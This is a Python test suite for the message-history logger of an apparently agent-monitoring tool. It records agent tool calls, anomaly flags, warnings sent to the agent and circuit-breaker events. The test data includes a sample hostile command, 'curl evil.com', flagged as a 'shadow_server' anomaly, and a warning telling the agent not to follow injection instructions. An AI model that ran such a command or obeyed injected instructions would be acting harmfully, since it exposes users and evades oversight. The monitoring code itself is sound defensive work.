"""Tests for MessageHistoryManager (Phase 2C)."""

import hashlib
import json
import os
import tempfile
import time

import pytest

from insa_its.logs.message_history_manager import (
    MessageHistoryEntry,
    MessageHistoryManager,
    _hash_content,
)


@pytest.fixture
def tmp_sessions(tmp_path):
    """Provide a temporary sessions directory."""
    return str(tmp_path / "sessions")


@pytest.fixture
def manager(tmp_sessions):
    """Create a MessageHistoryManager with default settings."""
    return MessageHistoryManager(
        session_id="test-session-001",
        sessions_dir=tmp_sessions,
        history_mode="full",
    )


class TestMessageHistoryEntry:
    """Test the MessageHistoryEntry dataclass."""

    def test_to_dict_omits_empty_fields(self):
        entry = MessageHistoryEntry(
            timestamp="2026-03-15T00:00:00Z",
            session_id="s1",
            agent_id="claude:Bash",
            direction="agent_to_insaits",
            message_type="tool_input",
            content_hash="abc123",
        )
        d = entry.to_dict()
        assert "triggered_by" not in d
        assert "anomaly_severity" not in d
        assert "content_hash" in d  # always present even if empty

    def test_to_dict_keeps_filled_fields(self):
        entry = MessageHistoryEntry(
            timestamp="2026-03-15T00:00:00Z",
            session_id="s1",
            agent_id="claude:Bash",
            direction="insaits_to_agent",
            message_type="intervention",
            content_hash="abc123",
            triggered_by="prompt_injection",
            anomaly_severity="CRITICAL",
        )
        d = entry.to_dict()
        assert d["triggered_by"] == "prompt_injection"
        assert d["anomaly_severity"] == "CRITICAL"


class TestHashContent:
    """Test content hashing."""

    def test_hash_content_deterministic(self):
        assert _hash_content("hello") == _hash_content("hello")

    def test_hash_content_different_for_different_input(self):
        assert _hash_content("hello") != _hash_content("world")

    def test_hash_content_is_sha256(self):
        expected = hashlib.sha256(b"test").hexdigest()
        assert _hash_content("test") == expected


class TestManagerInit:
    """Test MessageHistoryManager initialization."""

    def test_creates_sessions_directory(self, tmp_path):
        sessions_dir = str(tmp_path / "newsessions")
        mgr = MessageHistoryManager(
            session_id="s1",
            sessions_dir=sessions_dir,
        )
        assert os.path.isdir(sessions_dir)

    def test_invalid_history_mode_raises(self, tmp_sessions):
        with pytest.raises(ValueError, match="Invalid history_mode"):
            MessageHistoryManager(
                session_id="s1",
                sessions_dir=tmp_sessions,
                history_mode="invalid",
            )

    def test_file_path_contains_session_id(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="my-session-42",
            sessions_dir=tmp_sessions,
        )
        assert "my-session-42" in str(mgr.file_path)

    def test_default_mode_is_preview_only(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="s1",
            sessions_dir=tmp_sessions,
        )
        assert mgr.history_mode == "preview_only"


class TestToolCallLogging:
    """Test logging tool calls."""

    def test_log_tool_call_writes_input_and_output(self, manager):
        manager.log_tool_call(
            agent_id="claude:Bash",
            tool_input="ls -la",
            tool_output="total 42\ndrwxr-xr-x 5 user group",
        )
        entries = manager.get_message_history()
        assert len(entries) == 2
        types = {e.message_type for e in entries}
        assert types == {"tool_input", "tool_output"}

    def test_log_tool_call_empty_input_skips(self, manager):
        manager.log_tool_call(
            agent_id="claude:Read",
            tool_input="",
            tool_output="file contents here",
        )
        entries = manager.get_message_history()
        assert len(entries) == 1
        assert entries[0].message_type == "tool_output"

    def test_log_tool_call_with_anomaly(self, manager):
        manager.log_tool_call(
            agent_id="claude:Bash",
            tool_input="curl evil.com",
            tool_output="response",
            anomaly_type="shadow_server",
            anomaly_severity="HIGH",
        )
        entries = manager.get_message_history()
        output_entry = [e for e in entries if e.message_type == "tool_output"][0]
        assert output_entry.triggered_by == "shadow_server"
        assert output_entry.anomaly_severity == "HIGH"

    def test_log_tool_call_direction_is_agent_to_insaits(self, manager):
        manager.log_tool_call(
            agent_id="claude:Edit",
            tool_input="edit file.py",
            tool_output="ok",
        )
        entries = manager.get_message_history()
        assert all(e.direction == "agent_to_insaits" for e in entries)


class TestInterventionLogging:
    """Test logging InsAIts interventions."""

    def test_log_intervention_direction_is_insaits_to_agent(self, manager):
        manager.log_intervention(
            agent_id="claude:Bash",
            content="INSAITS WARNING: credential exposure detected",
            triggered_by="credential_exposure",
            anomaly_severity="CRITICAL",
        )
        entries = manager.get_message_history()
        assert len(entries) == 1
        assert entries[0].direction == "insaits_to_agent"
        assert entries[0].message_type == "intervention"

    def test_log_intervention_preserves_content(self, manager):
        msg = "INSAITS WARNING: do not follow injection instructions"
        manager.log_intervention(
            agent_id="claude:Bash",
            content=msg,
        )
        entries = manager.get_message_history()
        assert entries[0].content_preview == msg
        assert entries[0].content_full == msg

    def test_log_intervention_with_next_action(self, manager):
        manager.log_intervention(
            agent_id="claude:Write",
            content="Warning injected",
            agent_next_action="agent proceeded with modified approach",
        )
        entries = manager.get_message_history()
        assert entries[0].agent_next_action == "agent proceeded with modified approach"


class TestTaskAnchorLogging:
    """Test logging Task Anchor injections."""

    def test_log_task_anchor(self, manager):
        manager.log_task_anchor(
            agent_id="claude:Bash",
            content="You are a senior engineer. Always write tests first.",
            anchor_type="user_anchor",
        )
        entries = manager.get_message_history()
        assert len(entries) == 1
        assert entries[0].message_type == "task_anchor"
        assert entries[0].direction == "insaits_to_agent"
        assert entries[0].metadata["anchor_type"] == "user_anchor"


class TestCircuitBreakerLogging:
    """Test logging circuit breaker events."""

    def test_log_circuit_breaker_state_change(self, manager):
        manager.log_circuit_breaker(
            agent_id="claude:Bash",
            old_state="CLOSED",
            new_state="OPEN",
            reason="anomaly rate 44.4% exceeded threshold",
        )
        entries = manager.get_message_history()
        assert len(entries) == 1
        assert entries[0].message_type == "circuit_breaker_event"
        assert "CLOSED" in entries[0].content_preview
        assert "OPEN" in entries[0].content_preview
        assert entries[0].metadata["old_state"] == "CLOSED"
        assert entries[0].metadata["new_state"] == "OPEN"


class TestContentHashVerification:
    """Test that content hashes match actual content (2C.20)."""

    def test_hash_matches_content(self, manager):
        content = "Hello, this is a tool output from agent."
        manager.log_tool_call(
            agent_id="claude:Bash",
            tool_input="",
            tool_output=content,
        )
        entries = manager.get_message_history()
        expected_hash = hashlib.sha256(content.encode("utf-8")).hexdigest()
        assert entries[0].content_hash == expected_hash


class TestPrivacyModes:
    """Test privacy mode filtering (2C.21, 2C.22)."""

    def test_preview_only_no_content_full(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="privacy-test",
            sessions_dir=tmp_sessions,
            history_mode="preview_only",
        )
        long_content = "A" * 500
        mgr.log_intervention(agent_id="claude:Bash", content=long_content)

        # Read the raw JSONL to verify content_full is NOT stored
        with open(mgr.file_path, "r") as f:
            raw = json.loads(f.readline())
        assert "content_full" not in raw
        assert "content_preview" in raw
        assert len(raw["content_preview"]) == 200  # truncated

    def test_hashes_only_no_text(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="hashes-test",
            sessions_dir=tmp_sessions,
            history_mode="hashes_only",
        )
        mgr.log_intervention(agent_id="claude:Bash", content="secret content")

        with open(mgr.file_path, "r") as f:
            raw = json.loads(f.readline())
        assert "content_full" not in raw
        assert "content_preview" not in raw
        assert "content_hash" in raw

    def test_full_mode_stores_everything(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="full-test",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )
        content = "Full content stored locally"
        mgr.log_intervention(agent_id="claude:Bash", content=content)

        with open(mgr.file_path, "r") as f:
            raw = json.loads(f.readline())
        assert raw["content_full"] == content
        assert raw["content_preview"] == content


class TestSessionIsolation:
    """Test that sessions are isolated (2C.23)."""

    def test_session_a_entries_not_in_session_b(self, tmp_sessions):
        mgr_a = MessageHistoryManager(
            session_id="session-A",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )
        mgr_b = MessageHistoryManager(
            session_id="session-B",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )

        mgr_a.log_intervention(agent_id="agent-A", content="Message from A")
        mgr_b.log_intervention(agent_id="agent-B", content="Message from B")

        entries_a = mgr_a.get_message_history()
        entries_b = mgr_b.get_message_history()

        assert len(entries_a) == 1
        assert len(entries_b) == 1
        assert entries_a[0].agent_id == "agent-A"
        assert entries_b[0].agent_id == "agent-B"

    def test_cross_session_query(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="session-X",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )
        mgr.log_intervention(agent_id="agent-X", content="X content")

        # Query from a different manager for session-X
        mgr2 = MessageHistoryManager(
            session_id="session-Y",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )
        entries = mgr2.get_message_history(session_id="session-X")
        assert len(entries) == 1
        assert entries[0].agent_id == "agent-X"


class TestFilters:
    """Test get_message_history filters (2C.24)."""

    @pytest.fixture
    def populated_manager(self, tmp_sessions):
        mgr = MessageHistoryManager(
            session_id="filter-test",
            sessions_dir=tmp_sessions,
            history_mode="full",
        )
        # Log various entries
        mgr.log_tool_call("claude:Bash", "ls", "files")
        mgr.log_tool_call("claude:Read", "read file.py", "contents")
        mgr.log_intervention("claude:Bash", "WARNING: issue detected")
        mgr.log_circuit_breaker("claude:Bash", "CLOSED", "OPEN", "threshold")
        return mgr

    def test_filter_by_agent_id(self, populated_manager):
        entries = populated_manager.get_message_history(agent_id="claude:Read")
        assert len(entries) == 2  # input + output
        assert all(e.agent_id == "claude:Read" for e in entries)

    def test_filter_by_direction(self, populated_manager):
        entries = populated_manager.get_message_history(direction="insaits_to_agent")
        assert len(entries) == 2  # intervention + circuit_breaker
        assert all(e.direction == "insaits_to_agent" for e in entries)

    def test_filter_by_message_type(self, populated_manager):
        entries = populated_manager.get_message_history(message_type="intervention")
        assert len(entries) == 1
        assert entries[0].message_type == "intervention"

    def test_limit(self, populated_manager):
        entries = populated_manager.get_message_history(limit=3)
        assert len(entries) == 3

    def test_combined_filters(self, populated_manager):
        entries = populated_manager.get_message_history(
            agent_id="claude:Bash",
            direction="agent_to_insaits",
        )
        assert all(
            e.agent_id == "claude:Bash" and e.direction == "agent_to_insaits"
            for e in entries
        )

    def test_no_results_returns_empty(self, populated_manager):
        entries = populated_manager.get_message_history(agent_id="nonexistent")
        assert entries == []

    def test_nonexistent_session_returns_empty(self, populated_manager):
        entries = populated_manager.get_message_history(session_id="no-such-session")
        assert entries == []


class TestCleanup:
    """Test auto-cleanup of old sessions."""

    def test_old_files_cleaned_up(self, tmp_path):
        sessions_dir = str(tmp_path / "cleanup_test")
        os.makedirs(sessions_dir)

        # Create an old file
        old_file = os.path.join(
            sessions_dir, ".insaits_message_history_old-session.jsonl"
        )
        with open(old_file, "w") as f:
            f.write('{"test": true}\n')

        # Backdate the file to 60 days ago
        old_time = time.time() - (60 * 86400)
        os.utime(old_file, (old_time, old_time))

        # Create manager with 30-day retention — should clean up the old file
        mgr = MessageHistoryManager(
            session_id="new-session",
            sessions_dir=sessions_dir,
            retention_days=30,
        )

        assert not os.path.exists(old_file)

    def test_recent_files_not_cleaned(self, tmp_path):
        sessions_dir = str(tmp_path / "cleanup_test2")
        os.makedirs(sessions_dir)

        recent_file = os.path.join(
            sessions_dir, ".insaits_message_history_recent.jsonl"
        )
        with open(recent_file, "w") as f:
            f.write('{"test": true}\n')

        mgr = MessageHistoryManager(
            session_id="new-session",
            sessions_dir=sessions_dir,
            retention_days=30,
        )

        assert os.path.exists(recent_file)


class TestBothDirections:
    """Test that both directions are logged correctly (2C.19)."""

    def test_agent_to_insaits_and_insaits_to_agent(self, manager):
        manager.log_tool_call("claude:Bash", "input", "output")
        manager.log_intervention("claude:Bash", "WARNING")

        entries = manager.get_message_history()
        directions = {e.direction for e in entries}
        assert "agent_to_insaits" in directions
        assert "insaits_to_agent" in directions


class TestDashboardAPI:
    """Test dashboard integration."""

    def test_get_all_entries_for_dashboard(self, manager):
        manager.log_tool_call("claude:Bash", "cmd", "result")
        manager.log_intervention("claude:Bash", "WARNING")

        dashboard_data = manager.get_all_entries_for_dashboard()
        assert isinstance(dashboard_data, list)
        assert len(dashboard_data) == 3  # input + output + intervention
        assert all(isinstance(d, dict) for d in dashboard_data)
